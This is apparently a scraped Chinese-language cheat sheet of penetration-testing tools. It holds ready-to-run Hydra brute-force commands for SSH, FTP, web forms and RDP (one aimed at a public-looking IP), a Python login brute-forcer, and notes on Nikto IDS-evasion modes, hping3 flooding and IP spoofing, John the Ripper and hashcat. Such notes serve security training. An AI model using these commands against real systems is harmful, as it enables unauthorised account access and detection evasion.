简介
Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。
目前该工具支持以下协议的爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。
对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。
常见参数
-R
:继续从上一次进度接着破解-S
:大写,采用SSL链接-s
:小写,可通过这个参数指定非默认端口-l
:指定破解的用户,对特定用户破解-L
:指定用户名字典-p
:小写,指定密码破解,少用,一般是采用密码字典-P
:大写,指定密码字典-e
:可选选项,n:空密码试探,s:使用指定用户和密码试探-C
:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数-M
:指定目标列表文件一行一条-o
:指定结果输出文件-f
:在使用-M参数以后,找到第一对登录名或者密码的时候中止破解-t
:同时运行的线程数,默认为16-w
:设置最大超时的时间,单位秒,默认是30s-v / -V
:显示详细过程server
:目标ipservice
:指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等OPT
:可选项破解SSH
hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 5 10.96.10.252 ssh #-L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息
破解FTP
hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 10.96.10.208 ftp #-L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息
破解HTTP
破解HTTP,需要分析数据包的提交格式
1.GET方式:
hydra -L user.txt -P passwd.txt -o http_get.txt -vV 10.96.10.208 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t 3
#前面那些参数就不说了,主要说一下引号里面的数据 /vulnerabilities/brute/ 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,F=后面是代表密码错误时的关键字符串 ,H后面是cookie信息
2.POST方式:
hydra -L user.txt -P passwd.txt -t 3 -o http_post.txt -vV 10.96.10.183 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php"
#前面那些参数就不说了,主要说一下引号里面的数据 /login.php 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,S等于的是密码正确时返回应用的关键字符串
3.token方式:
采用token的验证方式时,每次登录的token都是不一样的,所以不能用hydra来破解。
目前,大多数网站登录都采用了token验证,所以,都不能使用Hydra来破解。
我们可以自己写一个python脚本来破解。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 24 20:42:01 2018
@author: 小谢
"""
import urllib
import requests
from bs4 import BeautifulSoup
##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
def get_cookie_token():
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1'}
res=requests.get("http://127.0.0.1/login.php",headers=headers)
cookies=res.cookies
a=[(';'.join(['='.join(item)for item in cookies.items()]))] ## a为列表,存储cookie和token
html=res.text
soup=BeautifulSoup(html,"html.parser")
token=soup.form.contents[3]['value']
a.append(token)
return a
##第二步模拟登陆
def Login(a,username,password): #a是包含了cookie和token的列表
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Content-Length':'88',
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0],
'Referer':'http://127.0.0.1/login.php'}
values={'username':username,
'password':password,
'Login':'Login',
'user_token':a[1]
}
data=urllib.parse.urlencode(values)
resp=requests.post("http://127.0.0.1/login.php",data=data,headers=headers)
return
#重定向到index.php
def main():
with open("user.txt",'r') as f:
users=f.readlines()
for user in users:
user=user.strip("\n") #用户名
with open("passwd.txt",'r') as file:
passwds=file.readlines()
for passwd in passwds:
passwd=passwd.strip("\n") #密码
a=get_cookie_token() ##a列表中存储了服务器返回的cookie和toke
Login(a,user,passwd)
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0],
'Referer':'http://127.0.0.1/login.php'}
response=requests.get("http://127.0.0.1/index.php",headers=headers)
if response.headers['Content-Length']=='7524': #如果登录成功
print("用户名为:%s ,密码为:%s"%(user,passwd)) #打印出用户名和密码
break
if __name__=='__main__':
main()
破解3389远程登录
3389端口是Windows 2000(2003) Server远程桌面的服务端口,可以通过这个端口,用"远程桌面"等连接工具来连接到远程的服务器,如果连接上了,输入系统管理员的用户名和密码后,将变得可以像操作本机一样操作远程的电脑,因此远程服务器一般都将这个端口修改数值或者关闭。
hydra 202.207.236.4 rdp -L user.txt -P passwd.txt -V
Burp Decoder是Burp Suite中一款编码解码工具,将原始数据转换成各种编码和哈希表的简单工具,它能够智能地识别多种编码格式采用启发式技术。
通过有请求的任意模块的右键菜单send to Decoder或输入数据选择相应的数据格式即可进行解码编码操作,或直接点击Smart decoding进行智能解码。
对于同一个数据,我们可以在Decoder的界面,进行多次编码解码的转换。
“searchsploit”是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。
SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。这种能力特别适用于在没有互联网接入的情况下对网络进行安全评估。许多漏洞都包含了二进制文件的链接,这些文件不包含在标准存储库中,但可以在我们的Exploit-DB二进制文件中找到。
binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令):在对象文件或二进制文件中查找可打印的字符串
语法:strings [ -a ] [ - ] [ -o ] [ -t Format ] [ -n Number ] [ -Number ] [file ... ]
-a --all:扫描整个文件而不是只扫描目标文件初始化和装载段
-f –print-file-name:在显示字符串前先显示文件名
-n –bytes=[number]:找到并且输出所有NUL终止符序列
- :设置显示的最少的字符数,默认是4个字符
-t --radix={o,d,x} :输出字符的位置,基于八进制,十进制或者十六进制
-o :类似--radix=o
-T --target= :指定二进制文件格式
-e --encoding={s,S,b,l,B,L} :选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
@ :读取中选项
(kali自带的字典)
big.txt #大的字典
small.txt #小的字典
catala.txt #项目配置字典
common.txt #公共字典
euskera.txt #数据目录字典
extensions_common.txt #常用文件扩展名字典
indexes.txt #首页字典
mutations_common.txt #备份扩展名
spanish.txt #方法名或库目录
others #扩展目录,默认用户名等
stress #压力测试
vulns #漏洞测试
通过爬行网站获取关键信息创建一个密码字典。
官网:http://digi.ninja/projects/cewl.php
命令如下:
cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt (1.1.1.1可以是目标网站的ip地址,也可以是网址)
-m:最小单词长度
-d:爬网深度
-e:收集包含emali地址信息
-c:每个单词出现的次数
支持基本,摘要,身份验证
支持代理;
CEWL可以和Hydra结合使用,一个获取字典,另一个暴力破解
用法: wget [选项]... [URL]...
启动:
-V, --version 显示 Wget 的版本信息并退出。
-h, --help 打印此帮助。
-b, --background 启动后转入后台。
-e, --execute=COMMAND 运行一个“.wgetrc”风格的命令。
日志和输入文件:
-o, --output-file=FILE 将日志信息写入 FILE。
-a, --append-output=FILE 将信息添加至 FILE。
-d, --debug 打印大量调试信息。
-q, --quiet 安静模式 (无信息输出)。
-v, --verbose 详尽的输出 (此为默认值)。
-nv, --no-verbose 关闭详尽输出,但不进入安静模式。
--report-speed=TYPE Output bandwidth as TYPE. TYPE can be bits.
-i, --input-file=FILE 下载本地或外部 FILE 中的 URLs。
-F, --force-html 把输入文件当成 HTML 文件。
-B, --base=URL 解析与 URL 相关的
HTML 输入文件 (由 -i -F 选项指定)。
--config=FILE Specify config file to use.
下载:
-t, --tries=NUMBER 设置重试次数为 NUMBER (0 代表无限制)。
--retry-connrefused 即使拒绝连接也是重试。
-O, --output-document=FILE 将文档写入 FILE。
-nc, --no-clobber skip downloads that would download to
existing files (overwriting them).
-c, --continue 断点续传下载文件。
--progress=TYPE 选择进度条类型。
-N, --timestamping 只获取比本地文件新的文件。
--no-use-server-timestamps 不用服务器上的时间戳来设置本地文件。
-S, --server-response 打印服务器响应。
--spider 不下载任何文件。
-T, --timeout=SECONDS 将所有超时设为 SECONDS 秒。
--dns-timeout=SECS 设置 DNS 查寻超时为 SECS 秒。
--connect-timeout=SECS 设置连接超时为 SECS 秒。
--read-timeout=SECS 设置读取超时为 SECS 秒。
-w, --wait=SECONDS 等待间隔为 SECONDS 秒。
--waitretry=SECONDS 在获取文件的重试期间等待 1..SECONDS 秒。
--random-wait 获取多个文件时,每次随机等待间隔
0.5*WAIT...1.5*WAIT 秒。
--no-proxy 禁止使用代理。
-Q, --quota=NUMBER 设置获取配额为 NUMBER 字节。
--bind-address=ADDRESS 绑定至本地主机上的 ADDRESS (主机名或是 IP)。
--limit-rate=RATE 限制下载速率为 RATE。
--no-dns-cache 关闭 DNS 查寻缓存。
--restrict-file-names=OS 限定文件名中的字符为 OS 允许的字符。
--ignore-case 匹配文件/目录时忽略大小写。
-4, --inet4-only 仅连接至 IPv4 地址。
-6, --inet6-only 仅连接至 IPv6 地址。
--prefer-family=FAMILY 首先连接至指定协议的地址
FAMILY 为 IPv6,IPv4 或是 none。
--user=USER 将 ftp 和 http 的用户名均设置为 USER。
--password=PASS 将 ftp 和 http 的密码均设置为 PASS。
--ask-password 提示输入密码。
--no-iri 关闭 IRI 支持。
--local-encoding=ENC IRI (国际化资源标识符) 使用 ENC 作为本地编码。
--remote-encoding=ENC 使用 ENC 作为默认远程编码。
--unlink remove file before clobber.
目录:
-nd, --no-directories 不创建目录。
-x, --force-directories 强制创建目录。
-nH, --no-host-directories 不要创建主目录。
--protocol-directories 在目录中使用协议名称。
-P, --directory-prefix=PREFIX 以 PREFIX/... 保存文件
--cut-dirs=NUMBER 忽略远程目录中 NUMBER 个目录层。
HTTP 选项:
--http-user=USER 设置 http 用户名为 USER。
--http-password=PASS 设置 http 密码为 PASS。
--no-cache 不在服务器上缓存数据。
--default-page=NAME 改变默认页
(默认页通常是“index.html”)。
-E, --adjust-extension 以合适的扩展名保存 HTML/CSS 文档。
--ignore-length 忽略头部的‘Content-Length’区域。
--header=STRING 在头部插入 STRING。
--max-redirect 每页所允许的最大重定向。
--proxy-user=USER 使用 USER 作为代理用户名。
--proxy-password=PASS 使用 PASS 作为代理密码。
--referer=URL 在 HTTP 请求头包含‘Referer: URL’。
--save-headers 将 HTTP 头保存至文件。
-U, --user-agent=AGENT 标识为 AGENT 而不是 Wget/VERSION。
--no-http-keep-alive 禁用 HTTP keep-alive (永久连接)。
--no-cookies 不使用 cookies。
--load-cookies=FILE 会话开始前从 FILE 中载入 cookies。
--save-cookies=FILE 会话结束后保存 cookies 至 FILE。
--keep-session-cookies 载入并保存会话 (非永久) cookies。
--post-data=STRING 使用 POST 方式;把 STRING 作为数据发送。
--post-file=FILE 使用 POST 方式;发送 FILE 内容。
--content-disposition 当选中本地文件名时
允许 Content-Disposition 头部 (尚在实验)。
--content-on-error output the received content on server errors.
--auth-no-challenge 发送不含服务器询问的首次等待
的基本 HTTP 验证信息。
HTTPS (SSL/TLS) 选项:
--secure-protocol=PR choose secure protocol, one of auto, SSLv2,
SSLv3, TLSv1, TLSv1_1 and TLSv1_2.
--no-check-certificate 不要验证服务器的证书。
--certificate=FILE 客户端证书文件。
--certificate-type=TYPE 客户端证书类型,PEM 或 DER。
--private-key=FILE 私钥文件。
--private-key-type=TYPE 私钥文件类型,PEM 或 DER。
--ca-certificate=FILE 带有一组 CA 认证的文件。
--ca-directory=DIR 保存 CA 认证的哈希列表的目录。
--random-file=FILE 带有生成 SSL PRNG 的随机数据的文件。
--egd-file=FILE 用于命名带有随机数据的 EGD 套接字的文件。
FTP 选项:
--ftp-user=USER 设置 ftp 用户名为 USER。
--ftp-password=PASS 设置 ftp 密码为 PASS。
--no-remove-listing 不要删除‘.listing’文件。
--no-glob 不在 FTP 文件名中使用通配符展开。
--no-passive-ftp 禁用“passive”传输模式。
--preserve-permissions 保留远程文件的权限。
--retr-symlinks 递归目录时,获取链接的文件 (而非目录)。
WARC options:
--warc-file=FILENAME save request/response data to a .warc.gz file.
--warc-header=STRING insert STRING into the warcinfo record.
--warc-max-size=NUMBER set maximum size of WARC files to NUMBER.
--warc-cdx write CDX index files.
--warc-dedup=FILENAME do not store records listed in this CDX file.
--no-warc-compression do not compress WARC files with GZIP.
--no-warc-digests do not calculate SHA1 digests.
--no-warc-keep-log do not store the log file in a WARC record.
--warc-tempdir=DIRECTORY location for temporary files created by the
WARC writer.
递归下载:
-r, --recursive 指定递归下载。
-l, --level=NUMBER 最大递归深度 (inf 或 0 代表无限制,即全部下载)。
--delete-after 下载完成后删除本地文件。
-k, --convert-links 让下载得到的 HTML 或 CSS 中的链接指向本地文件。
--backups=N before writing file X, rotate up to N backup files.
-K, --backup-converted 在转换文件 X 前先将它备份为 X.orig。
-m, --mirror -N -r -l inf --no-remove-listing 的缩写形式。
-p, --page-requisites 下载所有用于显示 HTML 页面的图片之类的元素。
--strict-comments 用严格方式 (SGML) 处理 HTML 注释。
递归接受/拒绝:
-A, --accept=LIST 逗号分隔的可接受的扩展名列表。
-R, --reject=LIST 逗号分隔的要拒绝的扩展名列表。
--accept-regex=REGEX regex matching accepted URLs.
--reject-regex=REGEX regex matching rejected URLs.
--regex-type=TYPE regex type (posix|pcre).
-D, --domains=LIST 逗号分隔的可接受的域列表。
--exclude-domains=LIST 逗号分隔的要拒绝的域列表。
--follow-ftp 跟踪 HTML 文档中的 FTP 链接。
--follow-tags=LIST 逗号分隔的跟踪的 HTML 标识列表。
--ignore-tags=LIST 逗号分隔的忽略的 HTML 标识列表。
-H, --span-hosts 递归时转向外部主机。
-L, --relative 只跟踪有关系的链接。
-I, --include-directories=LIST 允许目录的列表。
--trust-server-names use the name specified by the redirection
url last component.
-X, --exclude-directories=LIST 排除目录的列表。
-np, --no-parent 不追溯至父目录。
ARP是将IP地址转化物理地址的网络协议。
通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。
参数 | 意义 |
---|---|
-i | 网卡 选择你监控的网卡。比如eth0 |
-r | range 指定IP段。比如192.168.0.0/24 |
-l | filename 从文件读取range列表 |
-p | 被动模式。默默的侦听指定的网卡以发现别的二层主机 |
-t | ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。 |
-c | 发包数量 |
netdiscover -i eth0 -r 192.168.43.0/24 主动发现:-i指定所要侦听的网卡,-r指定ip段。
netdiscover -p 被动发现
arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。
CIDR:无类别域间路由,是一个用于给用户分配IP地址以及在互联网上有效地路由IP数据包的对IP地址进行归类的方法。
ARP:地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,是根据IP地址获得物理地址MAC的一个TCP/IP协议。通过ARP,在局域网可以很容易构成一个ARP欺骗,从而得到有用数据信息。
指令介绍
参数名 | 参数含义 | 使用示例 |
---|---|---|
-f | 从指定文件中读取主机名或地址 | arp-scan -f ip.txt |
-l | 从网络接口配置生成地址 | arp-scan -l |
-i | 各扫描之间的时间差 | arp-scan -l -i 1000 |
-r | 每个主机扫描次数 | arp-scan -l -r 5 |
-V | 显示程序版本并退出 | arp-scan -l -V |
-t | 设置主机超时时间 | arp-scan -t 1000 192.168.75.0/24 |
-L | 使用网络接口 | arp-scan -L eth0 |
-g | 不显示重复的数据 | arp-scan -l -g |
-D | 显示数据包往返时间 | arp-scan -l -D |
轻量级扫描工具,用来扫描局域网的主机还是挺好用的,由于扫描的少,所以扫描速度比较快,可以很快的查看到局域网有哪些主机和对应的MAC地址,配合nmap一起使用有奇效
常用命令行选项
-fw - 使用通配符结果强制处理域。
-np - 隐藏进度输出。
-m - 使用哪种模式,dir或者dns(默认:) dir。
-q - 禁用横幅/下划线输出。
-t - 要运行的线程数(默认值:) 10。
-u - 完整URL(包括方案)或基本域名。
-v - 详细输出(显示所有结果)。
-w - 用于暴力强制的wordlist的路径(-用于stdin)。
dns模式的命令行选项
-cn - 显示CNAME记录(不能与'-i'选项一起使用)。
-i - 显示结果的所有IP地址。
dir模式的命令行选项
-a - 指定要在请求标头中发送的用户代理字符串。
-c - 使用它来指定您可能需要的任何cookie(模拟身份验证)。
-e - 指定呈现完整URL的扩展模式。
-f- 附加/目录暴力。
-k - 跳过SSL证书的验证。
-l - 显示响应的长度。
-n - “无状态”模式,禁用结果状态代码的输出。
-o - 指定要将输出写入的文件名。
-p - 指定用于所有请求的代理(方案与URL方案非常匹配)。
-r - 按照重定向。
-s - 逗号分隔的状态代码列表集合被视为“正面”(默认值:) 200,204,301,302,307。
-x - 要检查的扩展名列表(如果有)。
-P - HTTP授权密码(仅限基本身份验证,如果缺少则提示)。
-U - HTTP授权用户名(仅限基本身份验证)。
-to - HTTP超时。示例:10s,100ms,1m(默认值:10s)。
建造
由于此工具是用Go编写的,因此您需要安装Go语言/编译器/等。有关安装和设置的完整详细信息,请访问Go语言网站。安装后,您有两个选择。
编译
gobuster 现在有外部依赖,所以他们需要先被拉入:
gobuster $ go get && go build
这将为您创建gobuster二进制文件。如果要将其安装在$GOPATH/bin可以运行的文件夹中:
gobuster $ go install
如果您已经拥有所有依赖项,则可以使用构建脚本:
make- 为当前Go配置构建(即运行go build)。
make windows- 为Windows构建32位和64位二进制文件,并将它们写入build子文件夹。
make linux- 为linux构建32位和64位二进制文件,并将它们写入build子文件夹。
make darwin- 为darwin构建32位和64位二进制文件,并将它们写入build子文件夹。
make all- 为所有平台和体系结构构建,并将生成的二进制文件写入build子文件夹。
make clean- 清除build子文件夹。
make test - 运行测试。
作为脚本运行
gobuster $ go run main.go
通过STDIN进行单词列表
生词能够管道输送到gobuster通过stdin通过提供-到-w选项:
hashcat -a 3 --stdout ?l | gobuster -u https://mysite.com -w -
注意:如果-w选项与STDIN的管道同时指定,则会显示错误,程序将终止。
https://zhuanlan.zhihu.com/p/347722248
netcat加强版,可以传递完整的带有tty的TCP连接,但只能在linux下面运行
基本命令:
socat [参数] <地址1> <地址2>
常用方法:
# 端口转发
#socat -d -d -lf /var/log/socat.log TCP4-LISTEN:6666,bind=127.0.0.1,reuseaddr,fork TCP:127.0.0.1:3306
#mysql -uroot -h127.0.0.1 -P6666 -p
#不使用group则默认当前用户
socat -T 2 -u - CREATE:./james,group=test,perm=0640
socat -t 2 -u - CREATE:./james,perm=0640
socat - /tmp/jamestest
socat - GOPEN:./james
socat - OPEN:./james
socat - EXEC:ls
-k 输入在收集信息的过程中需要匹配的关键字
-e 生成的文件放在哪个目录下
-t 记录测试的过程
-s 输入密码用来检测sudo权限的信息
-r 输入报告的名称
-h 显示帮助信息
查看此文章
SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP 22端口),包括公共秘钥等交换等信息。
服务器启动的时候自己产生一个密钥(768bit公钥),本地的ssh客户端发送连接请求到ssh服务器,服务器检查连接点客户端发送的数据和IP地址,确认合法后发送密钥(768bits)给客户端,此时客户端将本地私钥(256bit)和服务器的公钥(768bit)结合成密钥对key(1024bit),发回给服务器端,建立连接通过key-pair数据传输。
1.登录 :ssh -p22 [email protected]
2.直接执行命令 -->最好全路径
ssh [email protected] ls -ltr /backup/data
==>ssh [email protected] /bin/ls -ltr /backup/data
3.查看已知主机
cat /root/.ssh/known_hosts
4.ssh远程执行sudo命令
ssh -t [email protected] sudo rsync hosts /etc/5.scp
1.功能 -->远程文件的安全(加密)拷贝
scp -P22 -r -p /home/omd/h.txt [email protected]:/home/omd/
2.scp知识小结
scp是加密远程拷贝,cp为本地拷贝
可以推送过去,也可以拉过来
每次都是全量拷贝(效率不高,适合第一次),增量拷贝用rsync
6.ssh自带的sftp功能
1.Window和Linux的传输工具
wincp filezip
sftp -->基于ssh的安全加密传输
samba
2.sftp客户端连接
sftp -oPort=22 [email protected]
put /etc/hosts /tmp
get /etc/hosts /home/omd
3.sftp小结:
1.linux下使用命令: sftp -oPort=22 [email protected]
2.put加客户端本地路径上传
3.get下载服务器端内容到本地
4.远程连接默认连接用户的家目录
查询openssl软件
rpm -qa openssh openssl
查询sshd进程
ps -ef | grep ssh --> /usr/sbin/sshd
查看ssh端口
netstat -lntup | grep ssh
ss | grep ssh
效果同上,同下,好用)
netstat -a | grep ssh
(记住这个)
netstat -lnt | grep 22 ==> 查看22端口有没有开
/ssh服务有没有开启
技巧:
netstat` `-lnt |
grepssh| wc` `-l -->只要大于2个就是
ssh``服务就是好的
查看ssh的秘钥目录
ll /root/ .ssh /known_hosts
# 当前用户家目录的.ssh目录下
ssh的配置文件
cat /etc/ssh/sshd_config
ssh服务的关闭
service sshd stop
ssh服务的开启:
service sshd start
ssh服务的重启
service sshd reload
[停止进程后重启] ==> 推荐service sshd restart [干掉进程后重启] ==> 不推荐
ssh远程登录
ssh 192.168.1.100
# 默认利用当前宿主用户的用户名登录
ssh [email protected]
# 利用远程机的用户登录
ssh [email protected] -o stricthostkeychecking=no
# 首次登陆免输yes登录
ssh [email protected] "ls /home/omd"
# 当前服务器A远程登录服务器B后执行某个命令
ssh [email protected] -t "sh /home/omd/ftl.sh"
# 当前服务器A远程登录服务器B后执行某个脚本
https://blog.csdn.net/pipisorry/article/details/52269785
https://www.cnblogs.com/machangwei-8/p/10352725.html
安装地址:https://www.tenable.com/downloads/nessus?loginAttempted=true
安装方法:https://blog.csdn.net/weixin_59679023/article/details/120820123
http://aiezu.com/article/linux_curl_command.html
curl常用参数解读:
nikto常用命令
-upodate 升级,更新插件
-host 扫描目标URl
-id username:password http认证接口
-list-plugins 列出所有可用的插件
-evasion IDS/IPS逃避技术(实例演示里有详细信息)
-port 指定端口(默认80)
-ssl 使用SSL
-useproxy 使用http代理
-vhost 域名 当一个IP拥有多个网站时 使用
nikto交互参数(扫描过程中使用)
空格 报告当前扫描状态
v 显示详细信息
d 显示调试信息
e 显示http错误信息
p 显示扫描进度
r 显示重定向信息
c 显示cookie
a 显示身份认证过程
q 退出程序
N 扫描下一个目标
P 暂停扫描
1.扫描单个地址时
nikto -host http://xxx.xxx.xx.xx
2.扫描多个地址时
nikto -host url.txt
3.扫描https网站
nikto -host url -ssl -port 443
4.使用代理进行扫描
nikto -h URL -useproxy http://127.0.0.1:1080(没有无法演示,若以后有条件补上)。
5.使用LibWhisker绕过IDS的检测(10个参数 1-8、A、B)
1 随机URI编码(非utf-8)
2 自选择路径(/. /)
3 过早结束的URL
4 使用长随机字符串
5 使用假参数
6 使用tab作为命令的分隔符
7 更改URL的大小写
8 使用windows的命令分隔符""
A 使用回车0x0d作为请请求分隔符
B 使用二进制0x0b作为请请求分隔符
niketo -host www.xxxx.com -ssl -port 443 -evasion 1358Nikto配合Nmap扫描
6.配合 Nmap 进行扫描
nmap -p80 x.x.x.x -oG - |nikto -host -
nmap扫描开放80端口的IP并通过oG选项对扫描结果输出并整理),然后通过管道符“|”将上述扫描结果导入至nikto进行扫描
kali自带
全称叫“John the Ripper password cracker(约翰开膛手密码破解)”。
John the Ripper是一个快速的密码破解程序,目前可用于Unix,Windows,DOS和OpenVMS的许多口味。其主要目的是检测弱Unix密码。除了在各种Unix系统上最常见的几种crypt(3)密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。
用法:
john [OPTIONS] [PASSWORD-FILES]
john [选项] [密码文件]
选项:
--single[=SECTION] ]“单裂”模式
--wordlist[=FILE] --stdin 单词表模式,从FILE或stdin读取单词
--pipe 像--stdin一样,但批量读取,并允许规则
--loopback[=FILE] 像 --wordlistg一样, 但是从.pot文件中获取单词
--dupe-suppression 压制wordlist中的所有模糊(并强制预加载)
--prince[=FILE] PRINCE模式,从FILE中读取单词
--encoding=NAME 输入编码(例如,UTF-8,ISO-8859-1)。 也可以看看doc / ENCODING和--list = hidden-options。
--rules[=SECTION] 为单词表模式启用单词修改规则
--incremental[=MODE] “增量”模式[使用部分模式]
--mask=MASK 掩码模式使用MASK
--markov[=OPTIONS] “马尔可夫”模式(参见doc / MARKOV)
--external=MODE 外部模式或字过滤器
--stdout[=LENGTH] 只是输出候选人密码[在LENGTH切]
--restore[=NAME] 恢复被中断的会话[名为NAME]
--session=NAME 给一个新的会话NAME
--status[=NAME] 打印会话的状态[名称]
--make-charset=FILE 制作一个字符集文件。 它将被覆盖
--show[=LEFT] 显示破解的密码[如果=左,然后uncracked]
--test[=TIME] 运行测试和每个TIME秒的基准
--users=[-]LOGIN|UID[,..] [不]只加载这个(这些)用户
--groups=[-]GID[,..] 只加载这个(这些)组的用户
--shells=[-]SHELL[,..] 用[out]这个(这些)shell来加载用户
--salts=[-]COUNT[:MAX] 用[out] COUNT [到MAX]散列加载盐
--save-memory=LEVEL 启用内存保存,级别1..3
--node=MIN[-MAX]/TOTAL 此节点的数量范围不在总计数中
--fork=N 叉N过程
--pot=NAME 锅文件使用
--list=WHAT 列表功能,请参阅--list = help或doc / OPTIONS
--format=NAME 强制使用NAME类型的散列。 支持的格式可以用--list=formats和--list=subformats来看
常用参数:
用法: hping3 host [options]
-h --help 显示帮助
-v --version 显示版本
-c --count 发送数据包的数目
-i --interval 发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
--fast 等同 -i u10000 (每秒10个包)
--faster 等同 -i u1000 (每秒100个包)
--flood 尽最快发送数据包,不显示回复。
模式选择
default mode 默认模式是 TCP
-0 --rawip RAWIP模式,原始IP模式。在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-8 --scan 扫描模式 指定扫描对应的端口。
Example: hping3 --scan 1-30,70-90 -S www.target.host // 扫描
-9 --listen listen mode // 监听模式
IP 模式
-a --spoof 源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl ttl (默认 64) //修改 ttl 值
ICMP 模式
-C --icmptype icmp类型(默认echo请求) // ICMP类型,缺省回显请求。
-K --icmpcode icmp代号(默认0) // ICMP代码。
UDP/TCP 模式
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag ------------------------------------- (设置 TCP 的 ACK 标志 位)
Common //通用设置
-d --data data size (default is 0) // 发送数据包大小,缺省是0。
注意:hping的参数是分大小写的
eg:
hping3 -S [IP地址] -p 1 -c 1
-S(--syn)
:SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport
: 目的端口(默认为0),可同时指定多个端口
-c --count
:指定数据包的次数
参考:https://blog.csdn.net/qq_30247635/article/details/86243448
参考:https://www.freebuf.com/articles/system/205920.html
参数
下面使常见的参数,想了解更多的参数可以hashcat --help查看
-a 指定要使用的破解模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。
-m 指定要破解的hash类型,如果不指定类型,则默认是MD5
-o 指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
--show 显示已经破解的hash及该hash所对应的明文
